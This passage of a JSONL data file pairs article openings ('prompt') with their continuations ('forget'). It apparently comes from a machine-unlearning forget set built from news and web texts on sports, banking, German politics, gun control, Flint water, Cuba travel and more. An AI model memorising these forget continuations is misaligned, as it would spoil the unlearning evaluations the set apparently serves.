\"mediocre\" tier\u2014or maybe the high end of the \"subpar\" tier. Let's look a little deeper. One of the strongest predictive stats in football is the Simple Ranking System. Pro Football Reference explained SRS in depth, but the upshot is SRS adjusts margin of victory by strength of schedule. It's not a great way of explaining what happened, but it's fantastic at projecting what's about to happen. Here's how the AFC stacked up, per SRS, at the end of the 2012 regular season. Think of this table as a statistical \"power ranking\" going into imaginary Week 18: We see Cleveland's SRS number is minus-5.3. That sounds poor\u2014and in terms of the rest of the NFL, it is. With that minus-4.1 average margin of victory, the Pythagorean Wins formula says the Browns \"should have\" won 6.2 games in 2012. This means their win-loss results could be primed for a bounce back in 2013,"}
{"prompt": "Technology firms have turned several industries on their head. The way people buy books, hail a ride home from the bar or find a room for the night while on vacation have all changed. And now financial technology or fintech firms are turning their sights on the banking industry, but Canada's big banks aren't going to give up their dominant position without a fight. Joanna Rotenberg, head of personal wealth management at BMO Financial Group, says the needs of customers are shifting and clients are seeking out digital tools to access and manage their money. In response, earlier this year", "forget": "the Bank of Montreal launched its SmartFolio investment service, which offers a professionally managed portfolio online for a low fee. \"It's for clients who want support from human professionals,\" Rotenberg said. \"It's not a robot behind the scenes, but people who want to be able to access that digitally versus needing the hand-holding and face-to-face support.\" The BMO offering comes as companies like Wealthsimple, Nest Wealth and ModernAdvisor look to take a bite out of the big players by making easy-to-open accounts online and cheaper by using exchange-traded funds. Rotenberg says it has been more than just digital-savvy millennials opening accounts with the new BMO service, adding that it has attracted the attention of a wide range of clients in both age and amount of savings they have to invest. \"You can't stereotype people in terms of who is interested. It really is about people who are looking for something that they can use on their smartphone, but they are going to get the money management support that they need,\" she said. And it isn't just investing where the big banks are fighting off new competitors. Retail banking, long the bedrock of the big banks, is seeing new challengers offering basic banking services to Canadians who have long complained about the fees they pay. Online banks like EQ Bank, which is backed by Equitable Bank, and Zag Bank, which is supported by Desjardins Group, have launched with promises of lower fees and high interest rates on deposits as well as apps to help people manage their money. Among the big banks, Scotiabank and its Tangerine brand is the largest player in the online banking business. The former ING Bank of Canada operations, which Scotiabank acquired in 2012, was one of the first online banks in the country. But the other"}
{"prompt": "Center-Right Dispute Merkel to Delay Announcement of Chancellery Candidacy Chancellor Merkel has decided to push back her announcement as to whether she intends to run for a fourth term as chancellor, DER SPIEGEL has learned. The delay is the product of an unresolved dispute with her Bavarian sister party, the CSU. more... The Deal Makers Coalition Deal Shows Rising Clout of Lobbyists As the dust settled in Berlin, one group came out of last week's coalition deal an unequivocal winner: Germany's lobbyists. When it comes to shaping policy, corporate interests are wielding ever more influence on national politics. more... Pushover", "forget": "Party Social Democrats Must Not Give Up on Europe In coalition negotiations, the center-left Social Democrats appear to have backed off on their demands to control the Finance Ministry. Relinquishing the post would mean letting Angela Merkel trample over them -- and abandoning their push to move Germany's Europe policy to the left. more... Affirmative Action SPD Women Want Gender Quota from Merkel Female members of Germany's Social Democrats want a coalition government with Merkel's conservatives to be contingent on a gender quota for company boards. Battered in the election, the SPD's men may now take these calls seriously. more... Wiped Out Free Democrats Reel from Election Fiasco The biggest losers of the German election are the pro-business Free Democrats, who failed to make it into parliament. After decades of playing kingmaker, its spectacular defeat marks a seismic shift in Germany's political landscape. more... Merkel Country Trouble Ahead for Triumphant Queen Angela It hardly gets any more exciting, more enthralling or more spectacular. This 2013 German election represents a watershed. The chancellor has triumphed, and her coalition partners the pro-business Free Democrats are shattered. Germany is well and truly Angela Merkel country. more... Mini-Drone Incident Shows Security Failings Last week, the Federal Criminal Police Office (BKA), which is responsible for Chancellor Angela Merkel's security during the run-up to the election on Sept. 22, cemented its already muddied reputation by failing to take action at a campaign event in Dresden when a miniature drone circled above the audience. more... Why Many Former East Germans Don't Vote Nearly a quarter of a century after German reunification, Chancellor Angela Merkel still favors dishes that were common in the former German Democratic Republic (GDR). \"Solyanka,\" a sour soup with meat and pickled vegetables originating in Russia, still appears regularly on her dinner table, and"}
{"prompt": "MILWAUKIE, Ore. \u2014 Two weeks ago, Mykayla Comstock was an ordinary 7-year-old girl living through an extraordinary ordeal. She\u2019s been battling leukemia since June, when a basketball-size tumor was discovered in her chest. Now Mykayla is in the middle of another battle\u2014and in the national spotlight\u2014over whether children should be able to use marijuana to mitigate the crippling effects of chemotherapy. A newly registered member of the state\u2019s Medical Marijuana Program, she has consumed a daily gram of cannabis oil, encapsulated in a pill, since shortly after her diagnosis. The leukemia quickly went into remission, say Mykayla\u2019s unapologetic parents, and", "forget": "in the months that followed she has been able to cope with the debilitating symptoms associated with her traditional cancer treatments. She also likes the way cannabis makes her laugh. \u201cIt\u2019s like everything\u2019s funny to me,\u201d she tells The Daily Beast. Mykayla\u2019s controversial but perfectly legal cannabis use rose to national attention late last month when an Oregonian reporter wrote a piece on her after discovering her Facebook page. The story quickly went viral, and Mykayla\u2019s mother, Erin Purchase, says she\u2019s since fielded phone calls from producers from Dr. Phil and Anderson Cooper. Local television reporters also bang incessantly on the family\u2019s door in Gladstone, Ore., she says. Purchase says she never sought or anticipated this kind of attention. She and her boyfriend, Brandon Krenzler, whom Mykayla calls \u201cdaddy,\u201d always knew they would obtain a medical marijuana card if their daughter needed one, she says. When oncologists diagnosed the 7-year-old with an aggressive form of cancer known as T-cell leukemia earlier this summer, Purchase and Krenzler drove Mykayla to The Hemp and Cannabis Foundation clinic in Southeast Portland and got her enrolled in the state program. Purchase and Krenzler tell The Daily Beast they aren\u2019t the least bit embarrassed or ashamed of their actions. They\u2019re convinced the cannabis oil their daughter now ingests in two pills each day not only has mitigated the effects of her chemotherapy but also perhaps knocked her leukemia into remission. But they made sure those early visits to the clinic where Mykayla gets her medicine were \u201cdiscreet,\u201d through a side entrance, they say. They did not tell the girl\u2019s biological father, who they say has been out of touch for most of the child\u2019s life. They kept it quiet, to themselves. Now they\u2019re famous. And they\u2019re being attacked, they say, by people who don\u2019t understand"}
{"prompt": "Obama did not mention any specific law or measure but said he would work with both parties in Congress to try to achieve a \"consensus around violence reduction\" in the wake of last Friday's massacre at a cinema in Colorado. \"I, like most Americans, believe that the Second Amendment guarantees an individual the right to bear arms,\" he told the National Urban League Convention in New Orleans, referring to part of the US Constitution. \"I think we recognise the traditions of gun ownership that passed on from generation to generation \u2013 that hunting and shooting are part of a cherished", "forget": "national heritage. \"But I also believe that a lot of gun owners would agree that AK-47s belong in the hands of soldiers, not in the hands of criminals \u2013 that they belong on the battlefield of war, not on the streets of our cities,\" he said. Calls for a re-examination of America's gun laws mounted in the aftermath of the tragedy in Aurora as it emerged that suspect James Holmes bought four weapons legally. Over eight weeks, Holmes stocked up on the internet on 6,300 rounds of ammunition: 3,000 for his .233 semi-automatic AR-15 rifle, another 3,000 for his two Glock pistols, and 300 cartridges for his pump-action shotgun. Holmes, a 24-year-old graduate student, also bought a special magazine for his AR-15 military-style assault rifle that enabled him to fire up to 50 to 60 rounds per minute. Obama said he had already stepped up background checks on those who buy weapons in the wake of last year's shooting in Tucson, Arizona that left six people dead and Democratic congresswoman Gabby Giffords fighting for her life. \"But even though we have taken these actions, they're not enough. Other steps to reduce violence have been met with opposition in Congress. This has been true for some time, particularly when it touches on the issue of guns,\" he said. \"I believe the majority of gun owners would agree we should do everything possible to prevent criminals and fugitives from purchasing weapons. And we should check someone's criminal record before they can check out a gun seller. \"A mentally unbalanced individual should not be able to get his hands on a gun so easily. These steps shouldn't be controversial. They should be common-sense.\" A group of Democratic lawmakers pushed to ban assault weapons and high-capacity gun magazines Tuesday in the wake of the"}
{"prompt": "The low-profile but vital signing of Lodeiro changed Seattle\u2019s season. (The Canadian Press via AP) Major League Soccer will look very different in 2017. Because it will be joined by the respective Uniteds from Atlanta and Minnesota, to be sure. But mostly because it will likely sport less star power than it has in several years. That is to say, it will employ far fewer aging European household names, tempted stateside for a last hurrah, payday and curtain call. This is a good thing. Scroll to continue with content Ad And this is the legacy of the league\u2019s 2016 season.", "forget": "Because this past season, the Designated Player Rule came full circle. The sorts of players the rule was designed to attract \u2013 David Beckham and all the rest, whose magnetism and fame would bring new attention to a league going nowhere fast \u2013 now no longer represent the best use of the three dispensation players each team is allowed without counting towards their salary cap. In 2016, Steven Gerrard quietly piled up 11 assists for the Los Angeles Galaxy but missed almost half the regular season with injuries and was never the most important player on his team. Frank Lampard scored 12 goals for New York City FC but was hardly the primary reason the club was so much improved. Robbie Keane no longer carried the Galaxy on his shoulders after being its linchpin for four years. Didier Drogba was actually benched by the Montreal Impact in favor of journeyman nobody Matteo Mancosu. Andrea Pirlo remained a very expensive piece of bling for NYCFC. Next year, all but Pirlo will be gone, as their expiring contracts were not renewed. Had Pirlo\u2019s deal been up, he may have suffered the same fate. Because in the grand scheme of this sort of signing, he\u2019s now more a relic of a flashier and less practical time than a value-for-money asset. Story continues The DPs that made the difference this season were of the 2.0 incarnation, the more recent interpretation of the rule by teams favoring lesser-knowns who will help them win trophies, rather than jersey-sale standings. They were Toronto FC\u2019s Sebastian Giovinco, Michael Bradley and Jozy Altidore. Mauro Diaz of FC Dallas. The New York Red Bulls\u2019 Sacha Kljestan and Bradley Wright-Phillips \u2013 both MVP finalists. They were the Galaxy\u2019s Giovani Dos Santos. Nicolas Lodeiro of the title-winning Seattle Sounders. Ignacio Piatto of"}
{"prompt": "by We live in strange Orwellian, Islamophobic, and eco-cidal times. A comrade from the great burning Northwest tells me the following story: \u201cI had a Sunday dinner a few weeks ago at the house of my dad\u2019s and stepmom\u2019s neighbors. The man and woman of the house are in their 60\u2019s and both proud liberals. The man said he was a \u2018Berkley liberal.\u2019 He supports Hillary, she supports Bernie Sanders. Towards the end of the dinner he expressed the opinion that a few nuke bombs on some of the major cities in Iraq would be a good idea. Previous to", "forget": "that, he defended the dropping of nuke bombs on Japan. The guy\u2019s wife, the Bernie supporter, added something about the barbarous tribal nature of Iraqi society. She quoted Deepak Chopra on the [evil] nature of Mohamed. Their son is a fighter pilot who is thinking about joining the top gun program. He is gay but is too scared to come out to his work colleagues.\u201d \u201cSometimes,\u201d my correspondent writes, \u201cit\u2019s easy to feel like Winston Smith in this world.\u201d Indeed. The climate change-driven fires of Washington continued their record-setting ravages not so far from the dinner party while the gathering\u2019s Sixties Age \u201cBerkeley liberal\u201d host called for the nuclear incineration of Baghdad and Fallujah and his Bernie-fan spouse explained that Iraq\u2019s dire straits reflect its primitive and savage nature \u2013 not the criminal racist and petro-imperialist destruction of that nation by the America Empire over more than three decades. The destruction has always been driven by Washington\u2019s longstanding compulsion to secure and sustain global dominance by controlling the supply of global oil \u2013 the very substance whose over-extraction and burning has most particularly driven the world to the edge of full environmental catastrophe. No doubt the liberal and progressive couple is more than okay with Sanders\u2019 recent announcement on ABC News last Sunday that if elected president he will not discontinue Barack Obama\u2019s controversial and mass-murderous drone program in the Middle East. Since Obama took office in January of 2009, the Bureau of Investigative Journalism reports, at least 2,464 people and 314 innocent civilians have been killed in drone strikes in Pakistan, Yemen, Afghanistan and Somalia. Nine times more strikes have occurred under Obama than under George W. Bush. Obama\u2019s strikes have killed nearly six times more people and twice as many civilians as Bush\u2019s. At least seven American citizens"}
{"prompt": "A horizontal section of a rat brain. Image: ZEISS Microscopy/Flickr In the heady, optimistic days of 2004, it seemed all but certain that airline pilots were soon to be replaced by none other than lab-grown rat brains. Okay, not exactly. But it's hard not to laugh over a decade later at a University of Florida press release announcing the dawn of \"living computers.\" A team at the university had cultured some rat neurons, and the culture had managed to fly a virtual plane. A lab-grown rat brain flew a simulated plane! \"They may someday be used to fly small unmanned", "forget": "airplanes or handle tasks that are dangerous for humans, such as search-and-rescue missions or bomb damage assessments,\" the release continued, and our rat-brain filled future seemed nigh. The 2000s saw a bevy of this sort of research into so-called animats\u2014electronic systems that were controlled, not by traditional silicon chips, but organic, lab-grown neuronal networks, or rudimentary brains. The University of Reading, University of Florida, and Georgia Tech all had (and still have) animat teams. But then, and even now, real-world applications for this sort of research remain a very basic, and a long ways off. Thomas DeMarse, a professor at the University of Florida, did indeed succeed at growing a culture of rat-neurons that could fly a simulated plane in 2004 (and by fly, I mean travel straight and level), building on earlier research at Georgia Tech. And in 2008, the University of Reading grew a similar culture that prevented a wheeled robot from running into walls. But to think of these cultures as \"brains\" is the way that you or I might think of brains is disingenuous at best. \"These are not sentient beings. I wouldn't want to equate it even to an ant,\" said Slawomir Nasuto, a professor of cybernetics at the University of Reading. Nasuto was part of a team at the university that worked on an animat project from 2006 to 2009. Like other universities, they employed a process in which cells were seeded onto a dish lined with electrodes. As the cells grew and formed connections with one another, neural activity began to take place. The electrodes can read this activity, as well as deliver stimulus back to the cells\u2014effectively creating an input and output mechanism for the lab-grown brain to process information about its environment when connected to something like, say, a rudimentary robot."}
{"prompt": "Your web browser knows a lot about you, and tells the sites you visit a lot about you as well\u2014if you let it. We've talked about which browsers are best for privacy before, and the best tools to lock your browser down, but there are also entire browsers designed to keep your data as secure and private as possible. Let's take a look at some of them. Advertisement Whether your preferred browser is Chrome or Firefox, you have a few options to help you browse more securely\u2014assuming that is, you're ready to give up on the version everyone else uses", "forget": "and try something new. Here are some options worth trying out. Advertisement Tor is going through a rough period right now, but overall, the service is still excellent if you're looking to preserve your anonymity and privacy from the sites you visit, and from malicious tracking cookies and ads. For those unfamiliar, Tor routes your traffic across a series of relays designed to keep your real identity and computer as anomymous as possible. It's not perfect and it certainly has its drawbacks (which we don't have room to get into here), but if anonymity is your end goal, the Tor Browser (more specifically, the Tor Browser Bundle) is a great way to go. The Tor Browser is based on Firefox, open source, and comes preconfigured to access the Tor network. The vast majority of built-in plugins and services have been disabled or stripped out, and it's important that you leave them that way, or else data you mean to keep private can leak to the sites you're visiting. Available for Windows, OS X, Linux, and in portable forms for all of those, it's a great way to surf when you're using an untrusted system, want to keep your identity close to pocket, get around content filtering or site-specific blocks, or keep your physical location a secret from the sites downstream (or anyone who may be watching along the way.) Remember though, Tor is designed for physical and digital anonymity, not security and encryption. What you do while you're using it may give away that anonymity (sending emails, logging on to web services, etc), and while communications inside the Tor network are encrypted, as soon as you leave the network, your data is in the clear (if it's not encrypted another way.) Advertisement Epic Privacy Browser is based on Chromium, is"}
{"prompt": "In recent years, we have seen many wonders done with Raspberry Pi and Arduino in different DIY computing projects. Because of their size and their price, these single-board computers have been used in the creation of everything from home media centers to a space-ready X-Wing. And now Now, one creative user has just turned Motorola Lapdock into an actual laptop with Raspberry Pi Zero. Also Read : Software Bug Put Several MediaTek Powered Android Smartphones Vulnerable to Attack LogBook : Turn Motorola Lapdock Into A Laptop With Raspberry Pi Zero One creative Raspberry Pi owner, just changed Motorola Lapdock 100", "forget": "into a a fully fledged laptop with Raspberry Pi Zero and a couple of cables. Motorola Lapdock 100 is a CPU-less laptop designed for plugging in your smartphone that enabled you to use your phone as a computer. Motorola launched the product in 2011, but it wasn\u2019t a big seller and the company discontinued its Lapdock products about a year later. Now about the Raspberry Pi Zero, it is a surprisingly powerful machine, with 512MB of RAM and a CPU faster than the original Pi. Pi Zero is the heart of a Raspberry Pi on a tiny 65mm x 30mm board with mini-HDMI, micro-B OTG USB, and the same 40-pin GPIO it still has great connectivity and cost only $5. Hence turning Lapdock to actual laptop won\u2019t cost you much money if you follow the plans laid out by blogger Ax0n over at H-I-R.net. Also Read : Now Nintendo 3DS XL can Run Windows 95 All it takes is a Raspberry Pi Zero and a couple of cables. Heck, even if you have to go out and buy a Lapdock this still isn\u2019t an expensive build. Because the Raspberry Pi Zero sells for just $5. You can pick up the two cables you need \u2014 micro USB to USB OTG and female micro HDMI to HDMI \u2014 from Amazon for around $8. You should be able to find a working Lapdock on eBay for $60 or $70. That brings the total bill to roughly $80. Previous iterations of the Raspberry Pi and similar computers from other manufacturers worked well with the Lapdock, but the wiring used to connect the two devices could make things messy. But the Raspberry Pi Zero is so tiny that everything fits in the case with some minor modifications. One of the modifications made by Axon"}
{"prompt": "Share. Death comes in a variety of flavors. Death comes in a variety of flavors. Imagine watching a horror film. Its atmosphere and violence tug at your gut, inciting unease over the brutal suffering of characters you've grown to love. As you sit, perched on the edge of your chair, the hero stumbles down a hallway running from certain death that claws at his feet. At the last moment, just when he hopes to escape, he dies. A grisly death. But he wasn't supposed to die at that particular point in the film. So you rewind the movie and re-watch", "forget": "the last 20 minutes leading into his untimely demise hoping that something changes along the way. This is the Corpse Party experience. For all its unique, gory, unsettling moments of horror, sudden \"Game Overs\" undo some of the tension that this PSP download works so hard to build. And yet even in fits of frustration, the atmosphere of Corpse Party still haunts the mind and demonstrates the power of simple visuals paired with effective text and sound. Exit Theatre Mode Corpse Party came into existence in 1996 when a team of independent Japanese developers used the RPG Maker suite to craft a 16-bit horror game. In the many years following, Corpse Party would return in different forms -- notably an upgraded PSP remake that added new visuals, music, and characters to the original. The version of Corpse Party released on the PlayStation Network represents this complete version, localized for the first time for a western audience. The story of Corpse Party starts late at night in Kisaragi Academy, a normal Japanese high school. While telling ghost stories together, a group of students decide to perform a ritual to ensure their friendship endures over time. Immediately after performing the incantations, an earthquake devastates the school and the friends find themselves in the dilapidated Heavenly Host Elementary School -- a building demolished decades earlier. Over the next 10 hours (give or take), your job is to keep these friends alive while navigating the cursed halls of Heavenly Host. Blood, hunger, and betrayal threaten the sanity of each character and any action you take could lead right into death's waiting arms. In keeping with Corpse Party's 16-bit roots, the visuals you'll find here stay with simple 2D sprites and backgrounds, which might seem odd compared to modern horror games. But shortly after its"}
{"prompt": "CLOSE The once quiet city of Flint, Michigan is facing a drinking water crisis that is drawing concern from around the nation. Here's what you need to know about how the public health crisis has evolved. VPC \"We are tired and frustrated,\" says Angela Hickmon of Flint, right during a rally where about 100 people demanded not to have to pay for water that is not fit for human consumption downtown Flint on Monday, January 25, 2016. \"The water is breaking me out. We are paying for something we can't use,\" says Margie Scott, 71 of Flint, center. (Photo11: Romain", "forget": "Blanquart/ Detroit Free Press) DETROIT \u2014 Flint residents paid the highest water rates in America even as their water was tainted with lead, according to a national study released Tuesday by the public interest group Food and Water Watch. A survey of the 500 largest water systems in the country, conducted last year, found that on average, Flint residents paid about $864 a year for water service, nearly double the national average and about three-and-a-half times as much as Detroiters pay. The figure is based on an annual household consumption of 60,000 gallons. \"It far exceeds what the United Nations designates as affordable for water and sewer service,\" said Mary Grant, one of the study's authors. The United Nations recommends that water and sewer service shouldn't exceed 3% of a household income. In Flint, the charges totaled about 7%, Grant said. A Flint lawyer who sued to reduce the rates says they are high in part because city officials and state-appointed emergency managers have tapped water and sewer money for other needs. \"They've been using that money improperly for years to fund the general operations of the city,\" said Valdemar L. Washington, who has been battling the rate increases in court since 2012. The city's sewer fund had a balance of $36 million in 2006 but was running a $23 million deficit by 2012, Washington said. The city didn't respond to requests for comment on the lawsuit claims. The high rates were a reason Flint joined the new Karegnondi Water Authority, which was pitched as a means to control rate increases. The 2013 decision to leave the Detroit Water and Sewerage Department for Karegnondi prompted the temporary switch to the Flint River as a water source in 2014. The city, which was under a series of emergency managers appointed by"}
{"prompt": "By Laura Woods, Contributor On Sunday, March 20, President Obama made history when he became the first American leader to visit Cuba in the post-Cold War era. Prior to his trip, the last American president to set foot in the country was Calvin Coolidge in 1928 -- more than 88 years ago. The First Family was warmly welcomed to Old Havana, Cuba. Obama hopes the first official meeting of the two governments in more than 50 years will ignite positive changes in Cuba and boost tourism. Learn about the United States' history with Cuba, how you can travel the island", "forget": "country and for how much. President Obama to Spur Travel to Cuba When Fidel Castro took office on Jan. 1, 1959, he swiftly imposed a number of sanctions -- placing substantial taxes on imports from the U.S. and publicizing private land and companies-- that caused the U.S. to sever ties with Cuba. President Dwight D. Eisenhower initiated the first Cuba embargo on Oct. 19, 1960, including all U.S. exports to Cuba, with the exception of medicine and select food items. Just over one year later, on Feb. 7, 1962, President John F. Kennedy made the embargo a permanent arrangement and expanded it to incorporate U.S. imports from Cuba. Consequently, the Cuban government estimates the rigorous trade restrictions have cost the country approximately $1.126 trillion over the more than 50-year period since the embargo was put in place. During a Monday, March 21 press conference with Cuban President Raul Castro, President Obama declared the Cuba embargo will end, but he didn't say when. The ruling must come from Congress, but so far, lawmakers haven't budged. Can Americans Travel to Cuba? If you're wondering whether Americans can travel to Cuba, the answer is yes but not without a host of restrictions. Since the relationship between the U.S. and Cuba was restored in December 2014, Americans have been able to travel to Cuba under 12 categories of authorized trips. The Obama administration recently loosened sanctions, allowing Americans to travel to the country independently, as long as they complete a form declaring the visit an educational journey. Cuba tourism is still technically outlawed, so if you want to book solo travel opting for an educational visit, you'll need to plan a people-to-people trip, where you meet Cuban citizens in normal daily life settings, such as schools and community centers. Previously, Americans visiting for educational"}
{"prompt": "In a photo from Week 12 of the 2015 NFL season, an overjoyed Brock Osweiler is standing in the snow at Sports Authority Field, arms lifted high above his head, his helmet in his hand, firework smoke above him. He is victorious, and at last, he is front and center. That night, in just the second start of his career, the 25-year-old dramatically led the Broncos back from a 21\u20137 fourth-quarter deficit to beat their hated conference rival Patriots 30\u201324 in overtime\u2014New England\u2019s first loss of the season. Osweiler was the David to Brady\u2019s Goliath in that moment, the underdog", "forget": "who finally had his chance to show he was ready to be a successful starter after sitting on the sidelines for three and a half seasons. Headlines proclaimed that a star was born. He was the future of the Denver Broncos and the future started now. The future was short-lived. By Jan. 3 he was back on the bench. And by March, he was a Houston Texan\u2014a very, very rich Houston Texan. \u2022 QBs with the most to prove in 2016: Palmer | Tannehill | Taylor | Luck In his four-year NFL career, Osweiler has seven starts, five wins and 11 touchdowns. And for that, the QB-desperate Houston Texans offered him $37 million in guaranteed money to be their starter. It is going to take a lot more than five wins and one particularly memorable comeback on a snowy night to justify that kind of payday. If there\u2019s one lesson we\u2019ve learned from the NFL, it\u2019s that a quarterback\u2019s brief success is not indicative of his long-term performance. Remember Matt Cassel\u2019s 11\u20135 season? Matt Flynn\u2019s six-touchdown day? Small sample sizes have too often doomed teams into trusting quarterbacks who weren\u2019t able to live up to the over-inflated expectations. Is Brock Osweiler any different? He needs to answer that question in 2016, and with the amount of trust and funds the Texans have invested in him, it needs to be a resounding yes. No doubt about it, Osweiler was productive in Denver, and he helped secure the No. 1 seed that proved crucial to the Super Bowl run. He was a good fit for Gary Kubiak\u2019s system\u2014much more so than Peyton Manning\u2014and he showed flashes of skill and poise at times. He threw a touchdown in every game he started except for one, and quickly earned the trust and support of"}
{"prompt": "The Ajax defender has talked up a switch to White Hart Lane and revealed that Belgium team-mates including Vincent Kompany & Thomas Vermaelen are telling him to move to England By Greg Stobart Ajax star Jan Vertonghen has described Tottenham as an \u201camazing club\u201d and spoken of his desire to play in the Premier League next season.understands Spurs are leading a host of English clubs in the race to sign Vertonghen and held talks with Ajax over a move for the \u00a310 million-rated defender in January.Spurs boss Harry Redknapp was in the stands to watch Vertonghen during Ajax\u2019s Europa League", "forget": "clash against Manchester United on Thursday night - and the 24-year-old made it clear after the game that he would welcome a move to White Hart Lane.\u201cI think Tottenham are an amazing club and you see how well they are doing this season,\u201dVertonghen told Goal.com. \u201cThey are in the top three in England and that\u2019s where I want to play.\u201cI can\u2019t say anything about whether there has been contact about a transfer but I think my game can be suited to English football.\u201cI love the atmosphere and it has the best players in the world, it breathes football. It\u2019s one of my goals to play in the best leagues and against the best players.\u201cIt\u2019s the only competition I watch apart from Barcelona.\u201dVertonghen, the Ajax captain, is also a target for Newcastle United and Arsenal while Manchester City manager Roberto Mancini is a long-term admirer.The versatile defender admits his international team-mates - including City captain Vincent Kompany and Arsenal defender Thomas Vermaelen - are constantly in his ear trying to influence his decision on his future.\u201cA lot of my colleagues from the national team play here and some are calling me to come,\u201d Vertonghen added.\u201cIt\u2019s a beautiful competition, the best in my opinion. I hope one day I can play in the Premier League with this atmosphere.\u201cTo play for a team in the Premier League would be amazing and that\u2019s what I am going for.\u201cIt\u2019s flattering to be linked with clubs, the rumours give me confidence but I just try to do my best every game.\u201dOne player who is unlikely to sway Vertonghen\u2019s thoughts is Belgium team-mate Eden Hazard, the \u00a330m-rated Lille star who is also a target for Tottenham.Vertonghen admits it would be \u201cnice\u201d to play with Hazard but the two are not close friends as the Ajax man speaks"}
{"prompt": "This page is of questionable balance. Reason: Uses round counting, you can grapple anything, Broken Life, Necessary Form, Intangible, and Unseen are all overpowered and the race as a whole is breaks the bounds of what should be allowed for a race. You can help D&D Wiki by better balancing the mechanics of this page. When the mechanics have been changed so that this template is no longer applicable please remove this template. If you do not understand balance please leave comments on this page's talk page before making any edits. Edit this Page | All pages needing balance This", "forget": "page needs grammatical help. Reason: This race has numerous instances of improper grammar. See Help:When to Italicize and Capitalize. You can help D&D Wiki by improving the grammar on this page. When the grammar has been changed so that this template is no longer applicable please remove this template. If you do not understand the English language please leave comments on this page's talk page before making any edits. Edit this Page | All pages needing grammatical help Unmade [ edit ] It is a dark day when something comes into shape, without the gods willing it to happen. An unmade is a creature that is created when a god spills blood, usually in combat, and the blood is then filled to the brim with dark energies. Unmade are beings that are condemned by the gods themselves, and are all across the world, looking for a purpose when they were created without one. Physical Description [ edit ] A being of no exact shape, with a cloak of shadow surrounding them at all times. All unmade are vaguely humanoid, and can take on human forms if they so wish. However all have defining traits that distinguish them from other unmade, such as having their two legs merge into a snake's tail, or having their bodies covered with thousands of white, glowing, eyes. They are gender less, but can develop to be either. History [ edit ] The unmade appear in the earliest recorded history, in the 60th year. Few in number, they did not cause many problems for the civilized races, and thus faded into the annals of history, even though their kind did not go extinct. Society [ edit ] Due to the fact that gods rarely spill blood, and even rarer that it is corrupted completely enough that"}
{"prompt": "\u201cMore than 1000 asylum seekers have perished at sea since Labor relaxed its policies in 2008 - a move it now concedes was a mistake.\u201d - The Australian, 18 July. Asylum seekers drowning on their way to Australia was cited as one reason why the Rudd government announced its policy to send all those who arrive by boat to Papua New Guinea for assessment and resettlement if they are found to be refugees. There were two more tragedies recently. A suspected asylum seeker boat capsized off Christmas Island last week, killing at least four people. It came a few days", "forget": "after nine people, including a baby boy, died on their way to Australia. No official records are kept by any government agency as to how many people trying to reach our shores to seek asylum are dying en route. The most reliable open source data is kept by the Monash Australian Border Deaths Database which \u201cmaintains a record of all known deaths associated with Australia\u2019s borders since 1 January 2000\u201d. Deaths include those who perish at sea attempting to reach Australian shores, those who have committed suicide within Australian detention centres and those who have died of natural causes within detention. The database is assembled from \u201cofficial sources, media reports and lists of deaths collated by non-governmental organizations\u201d. It is one of the most comprehensive, independent databases. Between 2000 and 2007 (the period which includes the introduction of the \u201cPacific Solution\u201d for asylum seekers travelling by boat under the Coalition government), the database documents 746 reported deaths of asylum seekers. Of those, 363 asylum seekers died at sea while on their way to Australia. As well, 350 were presumed dead (their status is missing at sea with status unknown); 22 died in detention (the majority of those cases were suicide, but there were some deaths of natural causes); and 11 people were returned to Afghanistan and reportedly murdered for being \u201cAustralian spies\u201d. Between 2008 and July 2013 (under Labor), 877 asylum seekers have reportedly died. Of those, 15 committed suicide or died of natural causes in detention centres. So during this period, approximately 862 individuals died trying to reach Australia\u2019s mainland to seek asylum. During the 2000-2007 period of Coalition government, 363 died, with the status of additional 350 individuals unknown. This is a tragedy that has occurred under both political parties, especially so since 90% of asylum seekers who"}
{"prompt": "45% of video gamers, and 46% of game purchasers, are women. More complex storylines, more personalized characters, more acceptance of \u2018geekiness\u2019 as something to be proud of and a wider variety of games available are just a few of the reasons why gaming is no longer being seen as a boys-only club. Women are finding their place in the gaming world. , a YouTuber and gamer with 60,000 subscribers, is excited about the change. \u201cMore and more I feel like it is normal for a woman to play video games too. It's no longer \"a guy thing\". Growing up I", "forget": "often heard \"What, you play video games?! That's so awesome, girls never play video games!\", but now when you tell someone you play video games you'd sooner get the question what kind of games you're into, which is really nice.\u201d GirlGamerGaB , a YouTuber and gamer with 60,000 subscribers, is excited about the change. \u201cMore and more I feel like it is normal for a woman to play video games too. It's no longer \"a guy thing\". Growing up I often heard \"What, you play video games?! That's so awesome, girls never play video games!\", but now when you tell someone you play video games you'd sooner get the question what kind of games you're into, which is really nice.\u201d And yet, even the fantasy world still isn\u2019t equal. But from gamers, to game developers, to women in games, we still have a long way to go before gaming becomes an gender-equal world. ...for women who play games: On paper, a female gamer\u2019s customer experience should be no different to that of a man\u2019s. In practice, the communal nature of gaming means that male gamers can make life pretty unpleasant for a female gamer\u2026 a \u2018side effect\u2019 of the product she didn\u2019t sign up for. Women face roughly three times more harassment than men when playing online. Gamer and YouTuber Yasmin Uddin (known as Yammy xox) said she experienced sexism first hand, \u201cmostly during games like Call of Duty and Gears of War. I was ashamed to speak in online game chat as I felt as if I\u2019d be ridiculed for my voice.... I\u2019d be told to \u2018get back into the kitchen.\u201d It\u2019s not always that aggressive \u2013 but unwanted attention is still a distraction to women just looking to play the game. \u201cA lot of people try to make"}
{"prompt": "\u0130zmir presents mosaic city of western region \u0130ZM\u0130R - Anatolia News Agency Precious mosaics with animal and plant figures were found in six of the villa complex\u2019s rooms, unearthed in \u0130zmir\u2019s Kemalpa\u015fa neighborhood. An archaeological city dating back 1,700 years has been unearthed during excavations in \u0130zmir\u2019s Kemalpa\u015fa neighborhood, raising officials\u2019 hopes the area will draw tourists\u2019 attention.The Cultural Beings and Museums\u2019 General Director Osman Murat S\u00fcsl\u00fc held a press conference Oct. 21 regarding the discovery of the archaeological city, which Culture and Tourism Minister Ertu\u011frul G\u00fcnay has defined as \u201cgood news that will draw the world\u2019s attention.\u201dDrilling work had", "forget": "started in the area, which is now categorized as a third degree archaeological site, before the construction of a warehouse company was scheduled to begin. Excavations were begun due to an abundance of signs the area may be a hotspot for archaeological treasures, S\u00fcsl\u00fc said. \u201cScientific excavations started Oct. 1 and a layer from the 4th Century B.C. has been unearthed,\u201d he said.The newly-unearthed city is believed to date back to around the late Roman or Byzantium period, S\u00fcsl\u00fc said. It was home to a 550-square-meter villa complex with 105-centimeter-thick walls, water channels and 11 rooms.Precious mosaics were found in six of the villa complex\u2019s rooms. \u201cThe mosaics are decorated with animal and plant figures that you cannot see anywhere today. They created the Anatolian panther, the 